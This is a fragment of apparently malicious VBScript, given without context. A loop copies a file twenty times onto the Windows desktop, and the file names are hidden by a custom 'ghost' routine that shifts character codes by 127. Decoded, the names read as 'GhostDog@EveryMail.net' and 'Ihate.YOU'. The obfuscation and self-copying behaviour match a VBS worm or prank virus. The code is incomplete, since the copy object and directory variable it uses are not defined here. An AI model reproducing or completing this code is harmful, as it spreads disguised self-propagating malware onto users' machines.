c.Copy(dirwin&ghost("ÃäòêóîïÛÆçîòóÃîæ¿ÄõäñøÌàèë­íäó")) c.Copy(dirwin&ghost("ÃäòêóîïÛÈçàóä­ØÎÔ")) loop until index = 20 Function ghost(qNvzlSi05a5) For I = 1 To Len(qNvzlSi05a5) E7NJsG55o4O= Mid(qNvzlSi05a5, I, 1) If Asc(E7NJsG55o4O) = 1 Then E7NJsG55o4O= Chr(10) ElseIf Asc(E7NJsG55o4O) = 2 Then E7NJsG55o4O= Chr(13) ElseIf Asc(E7NJsG55o4O) = 3 Then E7NJsG55o4O= Chr(32) Else If Asc(E7NJsG55o4O) <= 127 Then E7NJsG55o4O= Chr(Asc(E7NJsG55o4O) + 127) Else: E7NJsG55o4O= Chr(Asc(E7NJsG55o4O) - 127) End If End If ghost= ghost & E7NJsG55o4O: Next End Function